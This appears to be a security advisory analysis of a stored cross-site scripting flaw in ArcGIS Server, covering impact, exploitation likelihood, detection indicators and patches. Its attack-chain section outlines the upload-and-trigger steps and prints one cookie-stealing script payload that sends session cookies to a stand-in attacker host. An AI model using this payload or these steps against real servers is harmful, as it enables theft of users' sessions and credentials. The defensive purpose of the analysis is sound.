CVE-2026-50095: 
ArcGIS Server vulnerability analysis and mitigation

CVE-2026-50095 is a stored cross-site scripting (XSS) vulnerability in Esri ArcGIS Server affecting versions 11.1 through versions prior to 12.1 on both Windows and Linux platforms. In certain configurations, a remote unauthenticated attacker can upload files containing malicious code that subsequently executes in the browser context of any victim who accesses the affected server. The vulnerability was published on October 26, 2026, with patches made available the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. An unauthenticated attacker can upload files containing malicious JavaScript or HTML to the ArcGIS Server in configurations that permit such file storage without adequate input validation or output encoding. When a legitimate user subsequently accesses or triggers rendering of the stored content, the malicious code executes within their browser session. The attack requires no privileges and only low complexity, though it does require user interaction (a victim visiting the affected resource) (GitHub Advisory, Esri Security Bulletin).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the ArcGIS Server web interface. This can result in theft of session cookies, authentication tokens, or other sensitive credentials, as well as unauthorized actions performed on behalf of the victim user. Confidentiality and integrity impacts are rated low, and there is no direct availability impact; however, credential theft could enable further lateral movement within the organization's GIS infrastructure (GitHub Advisory).

There is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation as of the disclosure date. The EPSS score is 0.0, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. NVD supplemental data classifies the vulnerability as not automatable with partial technical impact (GitHub Advisory).

1. Reconnaissance: Identify publicly accessible Esri ArcGIS Server instances running versions 11.1 through below 12.1 using tools such as Shodan or Censys, or by reviewing organizational asset inventories.
2. Identify upload endpoint: Locate a file upload or content submission feature within the ArcGIS Server web interface that is accessible without authentication and does not adequately validate or sanitize uploaded file content.
3. Craft malicious payload: Prepare a file (e.g., HTML, SVG, or other web-renderable format) containing a malicious JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>.
4. Upload malicious file: Submit the crafted file to the vulnerable endpoint without authentication, causing the server to store the malicious content persistently.
5. Trigger victim execution: Distribute a link or wait for legitimate users to access the page or resource that renders the stored malicious file, causing the JavaScript to execute in their browser context.
6. Harvest credentials: Collect stolen session cookies or authentication tokens at the attacker-controlled server for subsequent unauthorized access (GitHub Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from user browsers to unknown external domains shortly after accessing ArcGIS Server pages; unusual POST requests to ArcGIS Server file upload endpoints from unauthenticated sources.
• Logs: ArcGIS Server access logs showing unauthenticated file upload requests (POST) to content or resource endpoints; repeated access to specific stored resources by multiple different user accounts in a short timeframe.
• File System: Presence of unexpected HTML, SVG, or script-containing files in ArcGIS Server upload or content directories that contain JavaScript tags or encoded script content.
• Application: Browser developer tool network traces showing requests to attacker-controlled domains triggered from ArcGIS Server pages (GitHub Advisory).

Esri has released patches for ArcGIS Server versions in General Availability and Extended support status: 12.1, 12.0, 11.5, 11.3, and 11.1. Users on mature or retired versions (below 11.1) are not eligible for patches and should upgrade to a supported version before applying the patch. As interim mitigations, administrators should review and restrict unauthenticated file upload capabilities, implement input validation and output encoding controls, and monitor access logs for suspicious upload activity (Esri Security Bulletin, GitHub Advisory).